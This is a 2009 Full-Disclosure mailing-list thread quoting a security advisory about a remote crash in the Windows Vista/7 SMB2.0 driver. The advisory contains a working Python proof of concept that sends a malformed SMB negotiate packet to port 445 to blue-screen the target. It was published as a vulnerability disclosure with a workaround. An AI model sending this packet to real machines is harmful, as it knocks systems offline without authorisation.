Re: Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

[D-vice <lord.x86 () gmail com>]

n3td3v works for micro$ucks, go figure

On Thu, Sep 10, 2009 at 6:56 AM, James Matthews <nytrokiss () gmail com> wrote:

> So Msoft! why can't they just stop reintroducing bugs?
>
>
> On Wed, Sep 9, 2009 at 11:04 AM, <randomguy () hushmail com> wrote:
>
> > -----BEGIN PGP SIGNED MESSAGE-----
> > Hash: SHA1
> >
> > How come all I hear about is n3td3v, and I see noone crying out
> > lout about this :
> > http://www.reversemode.com/index.php?option=com_mamblog&Itemid=15&ta
> > sk=show&action=view&id=64&Itemid=15<http://www.reversemode.com/index.php?option=com_mamblog&Itemid=15&ta%0Ask=show&action=view&id=64&Itemid=15>
> >
> > is fd all 'bout trolls nao?
> >
> > - --
> > =============================================
> > - - Release date: September 7th, 2009
> > - - Discovered by: Laurent Gaffié
> > - - Severity: Medium/High
> > =============================================
> >
> > I. VULNERABILITY
> > - -------------------------
> > Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.
> >
> > II. BACKGROUND
> > - -------------------------
> > Windows vista and newer Windows comes with a new SMB version named
> > SMB2.
> > See:
> > http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#S
> > erver_Message_Block_2.0
> > for more details.
> >
> > III. DESCRIPTION
> > - -------------------------
> > SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE
> > PROTOCOL REQUEST functionnality.
> > The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send
> > to a SMB server, and it's used
> > to identify the SMB dialect that will be used for futher
> > communication.
> >
> > IV. PROOF OF CONCEPT
> > - -------------------------
> >
> > Smb-Bsod.py:
> >
> > #!/usr/bin/python
> > # When SMB2.0 recieve a "&" char in the "Process Id High" SMB
> > header field it dies with a
> > # PAGE_FAULT_IN_NONPAGED_AREA
> >
> > from socket import socket
> > from time import sleep
> >
> > host = "IP_ADDR", 445
> > buff = (
> > "\x00\x00\x00\x90" # Begin SMB header: Session message
> > "\xff\x53\x4d\x42" # Server Component: SMB
> > "\x72\x00\x00\x00" # Negociate Protocol
> > "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
> > "\x00\x26"# Process ID High: --> :) normal value should be
> > "\x00\x00"
> > "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
> > "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
> > "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
> > "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
> > "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
> > "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
> > "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
> > "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
> > "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
> > "\x30\x30\x32\x00"
> > )
> > s = socket()
> > s.connect(host)
> > s.send(buff)
> > s.close()
> >
> > V. BUSINESS IMPACT
> > - -------------------------
> > An attacker can remotly crash without no user interaction, any
> > Vista/Windows 7 machine with SMB enable.
> > Windows Xp, 2k, are NOT affected as they dont have this driver.
> >
> > VI. SYSTEMS AFFECTED
> > - -------------------------
> > Windows Vista/7 All (64b/32b|SP1/SP2 fully updated) and possibly
> > Win Server 2008
> > as it use the same SMB2.0 driver (not tested).
> >
> > VII. SOLUTION
> > - -------------------------
> > Vendor contacted, but no patch available for the moment.
> > Close SMB feature and ports, until a patch is provided.
> >
> > VIII. REFERENCES
> > - -------------------------
> > http://microsoft.com
> >
> > IX. CREDITS
> > - -------------------------
> > This vulnerability has been discovered by Laurent Gaffié
> > Laurent.gaffie{remove-this}(at)gmail.com
> > http://g-laurent.blogspot.com/
> >
> > X. LEGAL NOTICES
> > - -------------------------
> > The information contained within this advisory is supplied "as-is"
> > with no warranties or guarantees of fitness of use or otherwise.
> > I accept no responsibility for any damage caused by the use or
> > misuse of this information.
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
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> _______________________________________________
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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/